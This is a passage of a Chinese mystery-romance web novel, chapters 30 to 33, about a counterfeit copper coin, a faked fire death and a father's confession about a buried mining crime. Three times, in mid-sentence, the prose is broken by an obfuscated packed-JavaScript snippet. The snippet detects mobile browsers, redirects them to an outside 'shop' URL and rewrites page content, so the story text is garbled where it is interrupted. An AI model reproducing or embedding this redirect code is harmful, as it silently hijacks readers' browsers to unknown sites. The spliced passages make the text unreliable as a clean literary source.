“有吧......但我也不确认，这个问题是否和案件有关。”她从袖中取出一枚被炼化的只剩半枚的铜钱，递给对方，“这是堂审前夜，我们偷偷去金火寮探查，在熔炼炉和站台之间的缝隙里找到的。” 谢长龄从秦明月手中接过这残缺的铜钱，仔细打量起来。 “正常铜钱的正面刻有‘元晟通宝’四个字，而这枚被融了一半的铜钱只剩右侧的‘晟’、‘宝’二字了。你看这个‘晟’字，”为了解释得更清楚，秦明月凑上前去，指着字道，“这枚字迹略浮，边缘有细微毛刺与流铜，若不是残次品，就极有可能是翻砂时母钱压印不精，或泥范有损所致。” 铜钱本就小，何况这枚只剩了半片，秦明月的手指虽纤细，却也几乎要与男子的手贴在一起。 “所以，你的意思是——若这枚铜币不是残次品，那就是恶钱？”肌肤相近的暖意侵染而来，谢长龄几乎要屏住气息才能作答，他怕自己一松懈，胸腔内毫无章法的跳动之声就会传入对面人的耳中。 秦明月点点头，语气夹杂着一点遗憾：“不过，我也不确定这是不是就是销钱为器一案熔炼的铜钱。毕竟京兆府抓住时，赵显偷运出来的那批铜钱都已经熔铸完了。” “不对，还有一处可以印证。”谢长龄略思忖，抬眼看向对方，“高大人曾抓住过两个私藏铜钱的匠人。” 对面少女的眼中，瞬间亮起神采。 “不过，相关罪证、犯人都已经被移交刑部了。先吃饭吧，晚些时候，我去刑部看看。”谢长龄笑道。 “好。”有了方向，秦明月心情转晴，看向门外，也不知卫教习和琼华聊得怎么样了，以她们道家相面的功夫来看，这两人眉宇开阔，目光清正，都是坦荡磊落、重情重义的面相，很是相配。 直到下午，谢长龄与秦明月的马车停到刑部门口，二人也没出现。 “秦姑娘，你就在马车中等我消息？” 她都理解。一来刑部重地，不是谁都能进的地方，二来若自己若与谢长龄一同出现，不免会招惹非议，想到宫中递来的恩宴帖.....秦明月顺从地点点头。 见她答应，谢长龄转身正欲进去，临迈步，又转过身：“我确认好后，会快些出来。你若觉得无趣，车轼下的柜匣内，有近几年的未破的案卷，你也许会感兴趣。” 说完这些，才重新转身往里走去。 马车内，秦明月靠在马车壁上，手里拿着卷宗，心绪却飘向远方。 若稍后谢大人查明收缴的确是恶钱，可能就意味着国库中已有恶钱混入。孙显是否知情？这批恶钱与当年的边州铜矿究竟有无关系？当年边州铜矿事发时，父亲正是当地赈灾的官员；如今京中发生销钱为器一案，他又身任户部尚书，执掌国库。父亲在这其中，到底扮演着怎样的角色..... 有叹气声轻轻在马车内回响。 谢大人果然如他说得般快去快回，约莫一盏茶后，天青色的身影就重新出现在刑部大门前。 30. 焦尸疑云 “如何？”秦明月望着稳步走来的谢长龄，掀开车帘，既有期待，又隐隐不安。 “我方才细看过了，高大人收缴来的铜钱应该都没有问题。” 闻言，秦明月暗自松了口气。虽然这批铜钱没有问题并不能说明父亲就与边州铜矿一事无关，但至少也不曾因为这件事被钉死。马车缓缓启动，向着刑部相反的方向驶去。 “秦姑娘可曾留意柜匣中陶氏医馆火灾的案卷？”马车外，传来谢长龄的声音。 “还未注意。”先前根本无暇翻阅卷宗的秦明月，顿时想起之前谢大人欲言又止的陶大夫一案来，她急忙打开柜匣翻找。 听着马车内抽屉被拉开翻找的动静渐渐小了下去，谢长龄料想她已经找到了案卷。便驭马贴近马车，解释道：“陶大夫出事不久，我便奉命前往岭南，未能亲自参与此案审理。” 他顿了顿，“待我回京，陈士杰已经定案了。所幸还有仵作的验尸记录，详细记载应在卷宗第三页。” 顺着对方的话，秦明月的指尖向后划去—— 死者陶潜，根据案发现场情形推断，死于烈火焚烧。经验尸，死者呈自然躺卧姿态，眼睑半开，肌肉因高温收缩呈“拳斗式”，未见躲避火焰、挣扎求生迹象。因焚烧严重，体表碳化，外眼角未检出“鹅爪纹”，施以“银针探喉”之法，可于咽喉深处发现烟灰炭末，总体符合烈火灼烧去世特征。 这上面是说陶大夫确实死于火灾，可自己疑心的、此前向谢大人提及的，是这场火起得蹊跷啊。谢大人为何特意强调这段记录？难道—— 思及此，她正想开口询问，就听马车外重新传来谢长龄的声音。 “依仵作所述，陶大夫咽喉存烟，是活人被烧死的“金律”，但是——”谢长龄顿了顿，“秦姑娘，是否觉出什么不妥？” 秦明月又扫了一遍手中的案卷，掀开车帘，诚实地摇了摇头。她虽因为之前为人摸骨慰灵、化念解怨之事，有一些观尸经验，但到底没有受过正统的培训，更遑论见识多少这些枉死的尸体了。 “陶大夫身为一个行动自如、求生本能强烈的成年男子，遇到火灾时，一定会急于逃生，手脚难免因破窗、推门留下磕碰伤、划擦或者撕裂伤，指缝里也应该嵌有木屑、尘土等物。”谢长龄看向车窗里女子专注的神情，目光温和，“但这具尸体，非但没有此类伤口，甚至连指甲缝里也没有什么异物。这是其一。” “其二，根据我过往的经验，被活活烧死之人，大多会因恐惧和本能反应，紧闭双眼。可这具尸体，却并非如此。” “您的意思是——陶大夫当时已经失去了逃生意识？” 谢长龄摇摇头：“我的意思是，这具尸体，可能根本就不是陶大夫的。” “什么？！”秦明月音量陡然拔高，双眸圆睁。 “根据现场目击者的证词，陶大夫是为了抢救珍贵药材才没能及时从火场中逃离的，当时神志清醒、行动自如。姑娘觉得与这与验尸记录中‘未见躲避火焰、挣扎求生迹象’的描述，相符吗？” “这——”秦明月默然。 不知不觉间，马车已停在城外一处“野地”之间。秋季早已枯黄的地面上，隆起着一座座排列齐整的土堆。有萧瑟秋风吹过，卷起坟茔间未燃尽纸钱，饶是道门出身的秦明月，脊背也有一瞬间发凉，她疑惑地看向马上之人。 “这就是陶大夫落葬之处。”谢长龄利落地翻身下马，走至马车前，微微抬起手臂。 远处的侧柏里，突然扑棱棱飞出一群寒鸦，秦明月盯着那群聒噪的身影，利索地跳下了车。 “陶大夫这么快就下葬了？还没有进陶氏的祖坟？”秦明月抬眸看向正在整理衣袖的谢长龄，总不能因为是入赘，就如此薄待吧。 “这里是普济寺的墓地。依陶氏族人所言，陶大夫枉死，葬在此处，便于僧众诵经超度、镇魂安魄。”谢长龄一边说，一边带着秦明月往墓地深处走去。 秦明月赶紧跟上。环顾间，一个没注意，被脚下枯死硬化的藤蔓绊住，整个人不受控制地往前倒去。 “哎呦！” “小心！” 两道声音同时响起，秦明月猝不及防地撞进一片木檀香中。手掌下是坚实紧绷的轮廓，心跳带来的震感若隐若现。她紧闭双眼，仿佛触电似的，瞬间收回手，挺直身体。 “对不起，谢大人，我不是有意的。”秦明月垂下发烫的面颊，陈恳认错。怎么回事，自己怎么老是唐突谢大人！再加上牡丹峰那晚......谢大人不会真觉得自己“图谋不轨”吧。秦明月简直没有勇气抬头看一眼男人的神情。 好在很快，耳边就传来谢大人一句“风轻云淡”的“没事”。 秦明月赶紧“夹紧尾巴”，小碎步跟上对方的步伐。若她此时抬头看一眼，就会发现谢大人正同手同脚往前走去。 很快，二人就在一座字迹明显的墓碑前站定。 陶大夫新丧，坟茔的土质明显比周边的坟包要松散发黄。坟前，祭祀的装置酒茶的容器已蒙上一层土灰，糕点已经不见了，开始腐坏的鲜果上，有啮齿类动物留下的痕迹。 一阵风吹过，渐渐吹散了来人面颊的热度。 “谢大人，我们现在是要开棺吗？”秦明月迟疑地问道。这——不合适吧，况且她到哪儿找工具呢。 “怎么会，”对方奇怪地看了她一眼，“只是来坟前看看，若陶大夫假死，陶家之人未必不会在落葬一事上露出破绽。况且，我也想来为陶大夫进一炷香。” 原来是这样，她就说呢。秦明月在一旁点头如捣蒜。 二人上完香后，重新绕着坟茔仔细检查了一遍，确认没有什么不妥后，重新往京中走去。 傍晚的风，已开始带上寒霜往马车中裹挟，马车上的车帘被卷起、落下又卷起。秦明月坐在马车中，一会想到林肃提到的边州旧案，一会想到谢大人所说的“这具尸体，可能根本就不是陶大夫”，努力想要拼凑出所有事情完整的轨迹，可思绪就像这被反复掀动的车帘，飘飘忽忽总也落不到实处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086484|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个案件的疑点、线索和尸体模糊的面容在脑中互相撕扯，引得太阳穴隐隐作痛。她靠在马车壁上，缓缓闭上双眼。空气越发沉默，唯有耳边传来路两边侧柏被吹动时发出的“沙沙”声。 侧柏...... 片刻后，马车内的少女突然睁开眼睛，一把掀开门帘。 “谢大人，我有个法子！” ———————————— 百里之外，祁阳县内。 与赵府仅一墙之隔的宅院中，被吹拉弹奏生扰的深夜不得安眠的牙行马娘子，不轻不重地踹了身边的男人一脚。 “都是你！说什么‘近官者贵’，非要买县令府旁边的院子。现在好了，整日里不得清净。” “这不是想着点头三分情么，更何况阳儿就快要进学了，书里不是讲什么‘孟母三迁’？我这也是替孩子考虑。” “你可拉倒吧，”马娘子轻啐了一声，“这可是今年以来，隔壁办的第二场丧事了，不带坏我阳儿都是好的。老爷们自以为瞒得好，打量谁不知道呢，前番是赵衙内□□婢女，反送了性命。这次怕不是宠妾灭妻惹出来的祸事，就是可怜了那正头的赵夫人。” 想到这，马娘子伸手在身边男人的腰间用力一拧，“姓马的，你日后若敢如此，看老娘不揭了你的皮，就算要死，我也得拖着你和......” “行了行了，越说越没影了，赶紧睡吧，明日还有营生呢。”男子从马娘子手中“抢救”下自己的肉，裹紧衬衣翻身睡了过去。只留马娘子叹了口气，继续看着屋顶，酝酿睡意。 喀拉—— 不知过了多久，屋顶突然传来瓦片碎裂的声音，迷迷糊糊的马娘子瞬间被惊醒，一把拉住身侧之人，“老马，老马，屋顶好像有动静！” “什么？”男子惊醒，跟着屏息凝神看向上方。 喵—— 片刻，有野猫的叫声传来，两人同时松了一口气。 “你说说你......”屋内，重新响起男人抱怨的声音。 不一会，屋外再度传来唢呐凄厉的声响。引魂幡人吆喝之声、僧众的唱喏之声、女子浮夸的哭声......透过无边夜色，一股脑涌进人的耳中，各种动静喧闹了一阵，又渐渐远去了。 可算要结束了，马娘子嘟囔两句，将头靠在身侧之人的肩膀上重新睡去了。 与之相反，寂静无声的赵府的后门，被人从里面推开一道窄缝，两个鬼祟的黑影慢慢从中挤了出来，他们抬着一个鼓囊囊的麻袋，左右张望。巷子口传来马匹的鼻息声，见四下无人，黑影疾步跑去，将麻袋“砰”地甩进车厢。马鞭在空中滑过一声脆响，马车转眼就消失在了巷子深处。 马车在城外的乡道上一路疾驰，车轮碾过碎石土块，车厢颠簸得吱呀作响，仿佛下一刻就要散架。赶车之人却恍若未觉，只将鞭子甩得更急，惊起路两旁林中的鸦雀。 突然，有银色剑光自眼前闪过，一道陌生的黑影自路边的杂草堆中骤然暴起，直冲马车而来。 31. 死而复生 凛冽剑意破空而至，直直冲向马车前端的车夫。迎战之人尚未动身，右侧黑暗中骤然横出一剑，金石相击，在黑夜中擦出几星火花。 杀手猝不及防，被震得连退数步。右侧的黑影趁势抢攻，连连斩向对方面门。杀手左支右挡，银光闪烁中，身形诡异一拧，竟瞬间从对方腋下滑过，眨眼闪至马车门前。 眼看长剑就要刺穿门帘，始终稳坐前辕之人猛地勒紧缰绳，骏马嘶鸣，人立而起，车厢剧烈摇晃中，长剑一偏刺穿厢壁。车内随即传来一阵重物翻滚的闷响，夹杂一声极力压抑的痛哼。 同伴的刀光再度逼进，电光火石间，杀手突然向后掷出两枚霹雳弹，趁乱闯入马车内，剑锋将将触及麻带。 一柄短刃悄无声息地贴上他的脖颈，耳后传来冰凉的嗓音：“摘下面罩”。 很快，另一名黑衣人也穿过硝烟赶来，长剑自上而下直指眉心，麻袋中的痛哼再度响起。 一息、两息…… 片刻后，杀手颓然地松开手，佩剑“哐当”一声，滑落在地，他缓缓抬手伸向耳后的系带。 指尖刚刚擦过耳朵。突然，一枚袖箭自车窗外射入，“叮”地击偏指在他眉心处的剑尖。 有马蹄声由远及近，将马车内的三人团团围住。 “放了他。”队伍中，一蒙面男子转了转绑有袖箭的右手，“还有你们马车里装的那个人。” 月亮不知什么时候躲进了厚厚的云层中，空气骤然凝固，仿佛连风都停止了。 半晌，黑巾下传出低沉的声音：“如果我不放呢？” 回应他的是四面瞬间拉满的弓箭。 长久的死寂中，只有麻袋里断断续续流出的压抑的呻吟。 “三。”马上的首领声音毫无波澜，重新抬起腕上袖箭对准车内。 “二——” “一。” “慢。” 就在袖箭扳机扣下的前一刻，短刃黑衣人忽然收刀后退，她一把扯下过同伴，“人可以带走。” 似是没想到她突然答应，首领审视片刻，抬手做了个手势。很快，两名黑衣骑手翻身下马，快步走向马车，小心翼翼地将麻袋和杀手抬出车厢。 见人领到，首领勒转马头，数十铁骑如潮水般向两侧分开，他轻夹马腹，转身便要离去。 “爹。”突然，一道清凌凌的女声突然响起。 黑暗中，最前方之人的脊背几不可察地一僵，却仿若未听见似的，继续策马前行。 “父亲，这是不打算认我了？”马车上，短刃黑衣人慢慢揭开脸上的面巾，“也罢。丢了十几年，就当从未找回来过吧。” 见对方脚步未停，女子转身拉起身边之人的衣袖，再下猛药：“谢大人，我爹不要我了，京兆府若缺仵作，或者您府上缺个婢女，不如给我条活路。” “胡闹！”前方身影骤停，猛地转过身来。 火光映衬下，秦明月一脸似笑非笑地看着对面的身影，“父亲，您终于肯承认了？” “月儿，跟我回家。”半晌，对面咬牙切齿的声音传来。 “回家？”秦明月嗤笑一声，笑意不达眼底，“十五年前，我娘在秦府不明不白死去。十五年后，父亲是打算让我也变成一具焦尸，再上演一出‘死而复生’的戏码么？” 她一边说话，一边慢慢走至杀手身前，乘人不备，一把扯掉他的面罩。一张熟悉却又出人意料的脸蓦地出现在众人面前，若有京中之人在，大约会吓得晕厥过去。 两道生得过长的眉毛微垂，左侧脸颊一颗红痣，这俨然就是死于京中大火，此刻却又“离奇复生”的陶潜、陶大夫。 “秦大人，您可有什么想解释的？”谢长龄不知什么时候也揭开了遮掩的面巾，抬步走至秦明月身侧。 —————————————— 一炷香后，久未燃灯的清微观厢房内，重新亮起火光。 秦明月在房中缓缓踱了一圈，伸手拂过桌案，沾起一层薄灰。她转身坐下，语气平静：“师兄应是出门远游了，观中无人，父亲有话，现在可以说了。” 几个月前，就是在这里，父女相认，这位位高权重父亲言辞恳切，一心想要带她回京。如今，二人再次回到原点，同样的位置，对薄公堂。 “月儿，你是在查你母亲当年的事吧。”秦洪业苦笑一声。 见她沉默不答，只冰冷地看向自己，那眼神与刚相认时如出一辙，秦洪业的心仿佛在被一寸寸凌迟：“罢了。你若真想知道，我便告诉你。” 房中烛火摇曳，将他忽然苍老许多的面容映得明暗不定，沟壑纵横的脸上，有泪水缓缓落下。 “你娘确实是天池湖决堤时伤了根底，她被救回后肺腑已损，又因你失踪急火攻心，这才没能熬过去。”对方声音沙哑，仿佛蕴含着无限悲痛。 “然后呢？”秦明月语调依然冷清。这些她早已知道，她想问的不是这些，她想知道父亲为什么要让陶大夫假死，为什么要瞒下边州铜矿一事，为什么...... “太危险了！”还未等她问完，秦洪业突然厉声打断，“我已经失去你娘，还错过了你十几年。月儿，爹不能再失去你了......” 他猛然抬头，眼眶通红，“十五年前，边州地动，你娘偶然发现雪华峰顶有人私采铜矿。对方只因行迹败露，不仅杀了目击的幼女，更不惜炸毁天池湖，水淹数千人灭口！这些年那些黑手一直藏在暗处，伺机而动。你可曾想过，若被他们发现你在查旧案，他们会放过你吗？” “所以，您便将陶大夫隐匿起来，以防明月继续追查？”一旁的谢长龄忽然开口。 秦洪业无力点头：“是。也是为护陶大夫周全，当年我们连她母亲的病，也只敢说是淋雨风寒所致。” “那我呢？”秦明月接得很快，“婆子争宠的说法也是遮掩？” “是。” 灯芯燃烧发出一声轻响，火光晃了晃。 “当年你顽皮，躲在行李箱笼里跟出城，我与你娘发现时，为时已晚，只得偷偷带着你去边州。出事那日，你娘不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098925|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你进山寻她，等水势蔓延，我赶去救人时，才发现你也被冲走了。” 他声音哽了哽：“事发后，我们翻遍了边州，始终没有你的踪影。捱到边州事定，再拖下去，唯恐要引幕后之人怀疑，抢先一步找到你灭口，我们才不得不回京。可不出几日，我又请旨去了边州。月儿，我们从未放弃过寻你。” 所以，这就是外祖母说的贪功请旨、不许报官的真相...... 房中一时寂然，只余烛火簌簌。 “您可曾查到幕后之人？”良久，谢长龄再度出声。 秦明月同样静静看向父亲，见他还在犹豫，坚定道：“您知道的，我不会放弃的。” 秦洪业凝视女儿与亡妻相似的眉眼，心中情绪翻涌。良久，他终于伸手，就着昏黄烛光，在积尘的桌面上缓缓写下一个字——魏。 ————————————— 次日清晨，曲陵江畔薄雾未散。 陶潜带着赵夫人，哦不，如今该称归晚意了，朝秦明月一行人人深深一揖。 “秦大人、秦小姐，还有谢大人，你们的再造之恩，我二人此生无以为报，若有来生，我愿结草衔环，舍身相报。” 秦洪业连忙上前搀扶，“陶先生言重了。京中，陶夫人与令郎那里，我会想办法递信，不过谨慎起见，眼下恐怕还难让你们阖家团聚。” “明白，我都明白，”陶潜伸手紧紧握住归晚意的手，声音微颤，“如今能将晚意救出虎口，有机会脱离那人的掌控，已属万幸。还要谢过秦小姐与谢大人为晚意精心筹谋。” 秦明月略有些不好意思的摆摆手。此番她与谢长龄设局，本为引出陶大夫、查明府医火灾真相；即便不成，能助归晚意假死脱身也算值得。因此，当初她向归晚意提议时，对方几乎未作犹豫便应下了。 江风拂过，吹动归晚意素色的衣角。她静静站在陶潜身侧，眼底映着粼粼江水，连眼角岁月的痕迹都似淡去。 谢长龄从袖中取出两份文书，递到陶潜手中：“此去路遥，这是为二位备好的新身份文牒与沿途路引。” 待文牒交接妥当，谢长龄方才收手退后半步。晨光透过江雾落在他肩头，将那一身碧青常服映得如水清澈，他静静立着，目光温和地掠过眼前人的发顶，唇角蕴着浅淡的笑意。 一旁的秦洪业将这一切尽收眼底，心头蓦地一紧。 这位京兆府尹何时待人这般如沐春风过？昨夜，他唤月儿什么来着...... 明月？ 秦洪业想也不想，不着痕迹地侧身进了二人中间。 等再次踏上祁阳回京的官道时，谢长龄早被秦洪业寻由头先行遣回了京城，马车内只余秦氏父女二人。 与初时相认回京不同，经历此番风波过后，二人隔阂尽消，倒像结成了新的同盟。车帘外秋光流转，车内气氛前所未有的融洽。 “月儿，”秦大人看向女儿，语气是藏不住的骄傲，“你是什么时候怀疑我的？” “回京的第二日，在黄册库。” 32. 来者不善 父女俩一路停停走走，直至临中秋前夕才抵达京中。秦洪业因需入宫回禀岭南一案详情，便让秦明月先独自回府。 顾及先前与李氏商定以“偶感风寒”为由向书院告假的说辞，秦明月悄悄从后门回到望舒阁，只让人往李氏处递了个信，便舒舒服服地躺进了浴桶。 沐浴完毕，她正坐在桌边擦拭湿发，两只“野”了许久的小家伙终于回来了，只听见一路喵喵声由远及近，当然，喵喵喵的是猫一只，雪球只管默默跟着小跑。 一段时日未见，雪球整只猫膨胀成了一个大雪球，尖尖的小耳朵上，两缕聪明毛高高竖着，脖颈上爆起了一圈厚厚的围脖，毛茸茸的大尾巴摇啊摇啊，活像奇兽园里的狮子。 见秦明月坐着，雪球微微蓄力，轻盈地跃上她身侧的桌案，不停用头蹭着她的手，猫一只则在脚下来回绕圈，试图打断她擦头的动作。 “好啦、好啦。”反正头发也快干了，秦明月松开棉布，一只手“服务”起一只小猫咪来。一时间，呼噜呼噜的小声音在房内此起彼伏。 “小姐，老爷回来了。”不一会，清圆从帘外探进一张圆润的小脸，笑眯眯地通传。 “知道了，我马上就来。”秦明月放开两只小猫崽，忍不住摇摇头。她这望舒阁指定有什么说法，不然怎么无论是人是猫，但凡在此待久了，都逃不过脸变圆的结局？ 等她行至正厅外，已是半盏茶之后，估计正巧碰上书院下学，正厅里隐约传来交谈之声。 “父亲，你还是快和梅风说说话吧，她盼你回来多时了。”秦兰意调笑的声音传来。 “哪有！大姐姐最近身体不适，不知好了没有，父亲回来可曾见过大姐姐了？”是秦梅风的声音，“父亲不如去望舒阁瞧瞧大姐姐吧，说不定大姐姐看到父亲高兴，病就好了。正好，我们也多日未见大姐姐了，挂念得很。” “你们姊妹相互关怀，很好。”是父亲的声音。 “父亲，那......” “有三妹妹挂心，我这不就好了？”秦明月打趣着走进屋内，朝父亲和李氏行了一礼，“父亲，夫人。” 待见完礼，她转身，牵起对方的手，“还要谢谢梅风的笔记了。这些天，我身体不适，不便去书院，还好有你日日将笔记送来。不然，书院的课程怕是真要落下一大截了。” 对方害羞地说不出话来，只红着脸连连摆手。 一家人坐在一桌用过晚膳，简单说起秦洪业离京后发生的事情，又是唬得小姑娘一愣一愣的。 谁知其乐融融的氛围，只维持到第二日清晨。 秦明月刚踏进久违的书院，便察觉气氛有异。先是进学的路上，明明足够驱使两架的青石路，被某家小姐的马车狠狠别了一下。 起初她们还以为是不小心，等三人一下马车，原本聚在书院门口的贵女哄得散开时，终于察觉出不对来。 姐妹几人一头雾水地往书院中走去。秦兰意伸手想拦个相熟的同窗询问，谁知对方跟见了鬼似的，转身就走。 她本就是眼里容不得沙子的，遇到这种遮遮掩掩的情形，简直气不打一处来，正要发作，就见顾家姐妹一行人往这里走来。 “不用问了，”顾克韫目光冷冷扫过几个偷瞧的身影，“不过是有人眼热明月得了宫中青眼，拿些不入流的传言来中伤罢了。也不想想，难不成明月去不得了，这传谣的就能进得去？”说到最后，音调陡然拔高。 “究竟怎么回事？” “还能怎么回事，”顾克柔挤上前挽住秦明月，快言快语道，“如今京里都在传，中秋宫宴是特意邀了你去的，有人嫉妒了，便拿姐姐回府之前的经历做文章呗。说什么为姑母祈福是假，入了道观做道姑是真，要我说......” 话还未说完，便被高裕贞轻轻碰了碰胳膊，除了大大咧咧的顾克柔，其余几人都有些紧张地看向秦明月。 “害，我还当是什么大事，”闻言，秦明月放下心来，“我本就在道观清修过，这又不是什么见不得人的事。她们要传，便让她们传去，不必费口舌解释。” 听她这么说，众人神情明显一松，一同往书院内部走去。 今日书院教授的是雅艺中的绘画，教习乃是有大晟第一才女之称的相道如。据兰意介绍，相家一门英才辈出，至相道如这一代却仅剩她一人，因其才情卓绝，又得大长公主垂青，这位女先生性情孤冷，颇有目下无尘之风。 辰时一到，相教习便随着云板的声响走进了教室。由于今天是秦明月第一次上相教习的课，为免惹眼，她便选择靠墙后排的座位悄然坐下。随众人起身见礼时，才抬目望向讲席。 台上，立着一位身着墨色襴袍的女子，一头乌发以金玉冠高束，通身上下再无半点饰物，本就雪白的肤色在深色衣袍映衬下，几乎胜过冬日莹雪，周身透着冬日雪后的清冽之气。 秦明月正暗自赞叹，却见对方突然冷冷地看向自己。 “秦大小姐。” “学生在。”四周响起细微的抽气声。 “你初入学院，基础本就薄弱，理当潜心向学，为何要坐在偏隅之位？” 当然是怕扎眼，可秦明月也不能直接这么说啊。斟酌中，就听如冰雪消融般的声音再度响起，“坐这里来。” 顺着对方所示方向望去，秦明月目光一顿，竟是当初魏来仪在书院时常坐的位置。无奈之下，她只得在周围或同情或看戏的眼神中，认命起身，朝那显眼的位置走去。 既来之，则安之。秦明月只能按下心绪，全力专注课业。整堂课上，她数次清晰感受到来自讲席方向不容忽视的注视，等云板声再度响起，相道如的身影离开书堂，她心中才暗暗松了口气。 几乎是教习前脚刚走，卢琼华等人后脚便围拢上来。 “哇~明月，你完了。相教习盯上你了，她可是书院里最严格的教习了，被她盯上可不容易‘过关’。” “琼华莫要吓唬表姐，相教习许是见表姐初来，只是多留心些罢了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113326|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里就有你说得这么吓人。” “对对对，明月你别听琼华的，相教习只是严格些。” “不过，说到严格。大姐姐，相教习刚刚还布置了课后习作，你可得上心些，若是画不好，相教习可是不看情面的。” ...... 周围七嘴八舌，秦明月只觉耳边一阵嗡鸣，只能勉强维持着点头的姿势，一点一点朝门口挪去。 傍晚，书院一日的课程终于都结束了，秦家三人照例同乘一辆马车回府。 马车上，秦梅风打趣道：“之前兰姐姐在书院里可是出了名的‘要尖儿’，如今大姐姐回来了，可不能坠了秦府的‘威名’。” “我回不回来，兰意都是秦府响当当的‘门面’，是不是？”秦明月伸出胳膊碰了碰身边的秦兰意。 对方傲娇地哼了一声，重新看向书册，心中却隐隐闪过一丝不安。 往日里，相教习教授及布置的不过是些工笔画，可今日却偏偏点了写意，画皮易，画骨难，这难度提高的可不是一星半点。不过好处也有，既然大家都不曾怎么学过，倒也让众人起点相近，对大姐姐而言，未必全然是坏事。 只是这突如其来的变动，是否与宫中的邀请有关。还有今日书院里的传闻...... 想到这，她抬头看了看还在与衣服上猫毛较劲的秦明月，暗自叹了口气，这位大姐姐，遇到破案之类事机敏过人，怎么于人情一事上，好似未开窍一样。 罢了，等回到府中，她还是替她同父亲母亲告知一声吧。 —————————— 深夜的秦府，万籁俱寂，唯有风中，偶尔传来松涛之声。 一道黑色的身影，独自穿过曲径，轻轻敲响了懿德堂的院门，很快门便从内打开，将黑影迎了进去。 堂内烛火昏黄，本该早已安歇的秦洪业与李氏却穿戴整齐端坐堂上。见人进来，二人同时起身。 “孩子，出了何事？”不等对方开口，秦洪业先一步问道。 关门带起的气流，将屋内烛火吹得左摇右晃，明暗交错的光影中，映出秦明月姣好的面庞。 “父亲、夫人，”她上前将二人引回座位，随即看向李氏，“夫人，敢问中秋恩宴帖一事，府中可曾有人走漏风声？” “怎么会！”李氏瞪大双眼，看向秦洪业，“此事事关月儿前程，我岂会轻率？连那日告知月儿，妾身也是屏退左右、格外谨慎的，外头怎会……” 今日下学后，兰意已同她提过此事，她自问行事周密，但到底担心是府中出了纰漏，因此也暗中派人去查探，并禀明了老爷。 “正因如此，女儿才更觉蹊跷，”秦明月顿了顿，接着说道，“此事，要么是府中走漏了消息，要么就是宫中有意为之。” 房中陷入长久的沉默，夜风穿过窗隙，烛影在三人之间静静摇晃。 “父亲，若是宫中，那便是来者不善；若是府中......”秦明月苦笑一声，目光静静看向对面。 33. 东窗事发 翌日，秦明月照常与梅兰二姐妹前往书院。临近中午，卢琼华悄咪咪传来一张纸条，秦明月打开一看，是从作业簿上撕下的一小片纸，上面龙飞凤舞写着四个字：老地方见。末尾还画了一个椭圆加一竖，勉强能看出是手指竖着贴在嘴巴上。 看来对于相教习的习作，倒也不必太过忧心。秦明月心中暗笑，却还是准时去了同福楼。 还未走进厢房，便听见屋中卢琼华与卫教习吵吵嚷嚷的声音。 “你怎么来了？” “你来，我自然得来。” 哦呦呦——说开了就这么明目张胆了么？卢琼华的声音戛然而止。 秦明月强压下嘴角，推开房门。 屋内，谢长龄正逆光坐在窗前，好整以暇地看着互相呛声的二人。见她进来，他从容地放下茶盏，“来了。” “嗯。” 秦明月虽疑惑为何谢大人与卫教习为何也在，但有陶大夫一案一同“出生入死”的经历，又保守着共同的秘密，二人言语间，便不自觉透漏几分熟稔。 见好友到来，卢琼华暂且“放过”卫燕锋，上前亲昵地将秦明月挽到桌前坐下。 “神神秘秘的。说吧，找我有什么事？” “诶，可不是我找你，”卢琼华眨眨眼，指向对面，“是谢大人。” 谢长龄此时正在给秦明月斟茶，见她疑惑地看向自己，心中滑过一丝不自然，面上却不显露分毫，他稳稳将手中的茶盏搁置到秦明月面前。 “侯巧儿来了一趟京中。” “侯巧儿？” “嗯。” 谢长龄随手理了理袖口的滚边纹样，那日为归娘子准备脱逃衣物时，他便发现了，秦明月偏好松竹一类自然风物的花饰，因此，今日他的袖边滚着一圈青松纹。 “就是赵小姐。赵夫人认罪后，她便自作主张，改随了母姓。” 改随母姓！果然，赵夫人那样能为了重要之人拼个鱼死网破的性子，绝对养不出懦弱的女儿。她这是在与赵家彻底切割，在这个孝道能够压死人的世道里，这一招无异于精神弑父，自绝于宗族。 “绥之暗中可是出了不少力，”卫燕锋朝嘴里抛了颗花生米，语气中满是得意，“那赵夫人原本犯得可是谋杀亲夫的罪，绥之只给她定了个过失杀人。还有赵小姐，女子想要改姓自立门户何其艰难......” 咳咳咳—— 他话未完，突然双手掐住脖子，剧烈咳嗽起来，喉间有呼哧呼哧的声音响起，一张面皮被挣得通红。 “不好！呛着了。”一旁的卢琼华瞬间弹起，抬起手掌，狠狠朝他背后猛拍下去。一掌、两掌......伴随着一连串尖锐的咳嗽，一粒红皮花生米滚落在地。 “看你还有没有正形！”见人无事，卢琼华心中一松，低声嗔道。 